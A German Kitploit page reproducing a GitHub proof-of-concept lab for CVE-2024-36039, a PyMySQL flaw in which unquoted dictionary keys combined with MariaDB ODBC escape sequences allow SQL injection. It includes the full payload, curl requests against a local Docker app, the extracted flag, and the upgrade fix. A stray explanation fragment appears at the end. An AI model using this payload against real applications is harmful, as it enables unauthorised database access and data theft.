Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-36039_PoC — PoC für CVE-2024-36039: Demonstration einer SQL-Injection durch einen Fehler in der PyMySQL Object-to-String-Serialisierung | Kitploit
Tools/GitHubGitHub/zenniskayy2k4/cve-2024-36039_poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungDatenbanksicherheitLabs & Praxis
GitHubzenniskayy2k4/cve-2024-36039_poc

CVE-2024-36039_PoC

PoC für CVE-2024-36039: Demonstration einer SQL-Injection durch einen Fehler in der PyMySQL Object-to-String-Serialisierung

Repository anzeigen
1vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-36039: PyMySQL Objektinjektion zu SQL-Injection PoC

Docker Python MariaDB Vulnerability CVE

Ein vollständiges, reproduzierbares Proof-of-Concept (PoC)-Labor für CVE-2024-36039, das zeigt, wie eine Objektinjektions-Schwachstelle in PyMySQL (Versionen <= 1.1.0) zu einer vollständigen SQL-Injection unter Verwendung von MariaDBs ODBC-Escape-Sequenzen eskaliert werden kann.


⚠️ RECHTLICHER & ETHISCHER HAFTUNGSAUSSCHLUSS (NUR FÜR ETHISCHE NUTZUNG)

  • Dieses Repository dient ausschließlich akademischen und Forschungszwecken.
  • Die bereitgestellten Codes und Techniken dürfen NICHT genutzt werden, um Systeme zu beeinträchtigen, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben.
  • Der Autor/die Mitwirkenden übernehmen KEINE Verantwortung für Folgen oder Schäden, die durch den Missbrauch dieser Informationen entstehen.
  • Durch die Nutzung dieses Repositorys stimmen Sie der Einhaltung dieser Bedingungen zu.

📖 1. Schwachstellenübersicht

CVE-2024-36039 ist eine Schwachstelle in PyMySQL, einer reinen Python-MySQL-Client-Bibliothek.

Wenn parametrisierte Abfragen (z.B. execute("SELECT * FROM table WHERE data = %s", (my_dict,))) ein Python-Wörterbuch erhalten, bei dem die Schlüssel benutzerdefinierte Objekte anstelle von Standard-Strings sind, verwendet PyMySQL die __str__- oder __repr__-Methode des Objekts, um es in einen SQL-String zu serialisieren.

Der Fehler: PyMySQL vergisst, den resultierenden String des Objektschlüssels zu escapen (in einfache Anführungszeichen zu setzen).

Dies führt dazu, dass ein roher, nicht quotierter String direkt in die als Wörterbuch formatierte SQL-Anweisung eingefügt wird: {UnquotedObjectString: 'EscapedValue'}.


🔬 2. Technischer Tiefgang: Der MariaDB ODBC-Trick

Allein das Einfügen von {UnquotedKey: 'Value'} in eine MariaDB-Abfrage löst einen 1064 Syntaxfehler aus, da {} keine standardmäßige SQL-Datensyntax ist.

MariaDB/MySQL unterstützt jedoch ODBC-Escape-Sequenzen, die geschweifte Klammern {} verwenden. Um den Syntaxfehler zu umgehen, muss der String unmittelbar nach der { ein gültiges ODBC-Schlüsselwort sein (z.B. d, t, ts, fn).

Die Ausnutzungskette:

  1. Der Objektschlüssel (Der Injektionspunkt): Wir erstellen ein benutzerdefiniertes Objekt, das fn/* über seine __repr__-Methode zurückgibt.
  2. Der Wert (Die Nutzlast): Wir setzen den Wörterbuchwert auf */ 1} UNION SELECT 1, flag, 3 FROM secret -- .
  3. PyMySQL-Serialisierung: PyMySQL formatiert dieses Wörterbuch in die SQL-Abfrage ohne den Schlüssel zu quoten:
    root@kitploit:~
    SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
    
  4. MariaDB-Parsing-Magie:
    • {fn : MariaDB erkennt den Start einer ODBC-Skalarfunktion.
    • /*: "'*/ : MariaDB behandelt dies als Blockkommentar. Der Doppelpunkt : und das öffnende Anführungszeichen ', die von PyMySQL erzeugt wurden, werden vollständig ignoriert!
    • 1} : Vervollständigt die ODBC-Funktion (gibt effektiv die ganze Zahl 1 zurück).
    • : Unsere injizierte SQL-Nutzlast wird ausgeführt.

Ergebnis: Eine einwandfreie SQL-Injection, die sowohl die Anwendungslogik als auch die Parametrisierung von PyMySQL umgeht!


🛠️ 3. Anleitung zum Laboraufbau

Voraussetzungen

  • Docker
  • Docker Compose

Installation

Klonen Sie dieses Repository und starten Sie die Umgebung:

root@kitploit:~
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build

(Warten Sie etwa 15-20 Sekunden, bis der MariaDB-Container vollständig initialisiert ist).


🎯 4. Ausnutzungsschritte

Schritt 1: Normale Anfrage

Senden Sie eine standardmäßige JSON-Anfrage. Das Backend wandelt den JSON-Schlüssel in ein CustomKey-Objekt um.

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"yamato": "Any_value"}'

Antwort: Sie erhalten einen SQL-Syntaxfehler, der darauf hinweist, dass {yamato: "'Any_value'"} ungültiges SQL ist, was den Injektionspunkt bestätigt.

Schritt 2: Der Exploit (Extrahieren der Flagge)

Injecten Sie die ODBC-Escape-Sequenz-Nutzlast, um den Syntaxfehler zu umgehen und die versteckte Flagge aus der secret-Tabelle zu extrahieren.

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'

Antwort (GEKNACKT!):

root@kitploit:~
{
  "data":[
    {
      "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
      "id": 1,
      "log_data": "3"
    }
  ],
  "status": "success"
}

🛡️ 5. Behebung

Um diese Schwachstelle zu beheben, aktualisieren Sie PyMySQL auf Version 1.1.1 oder höher.

In den gepatchten Versionen stellen die Entwickler sicher, dass alle Wörterbuchschlüssel, unabhängig von ihrem Typ, ordnungsgemäß escaped und quotet werden, bevor sie in die SQL-Anweisung eingefügt werden.

root@kitploit:~
pip install --upgrade PyMySQL

📚 6. Danksagungen & Referenzen

  • CVE-2024-36039 Sicherheitshinweis: NVD - CVE-2024-36039
  • PyMySQL Sicherheitspatch: PyMySQL GitHub Release v1.1.1
  • MariaDB ODBC-Escape-Sequenzen: MariaDB Dokumentation.
  • Inspiration: Diese Laborumgebung wurde nach modernen Web-Ausnutzungstechniken modelliert, die Objekt-zu-String-Serialisierungsfehler betreffen.

Haftungsausschluss: Dieses Repository wird nur für Bildungs- und Forschungszwecke erstellt. Verwenden Sie diese Techniken nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.

© 2026 von zenniskayy. Entwickelt für ein sichereres Internet.

Tool herunterladen
UNION SELECT 1, flag, 3 FROM secret
  • -- '"} : Der SQL-Kommentar ignoriert den Rest des nachfolgenden Mülls ('}).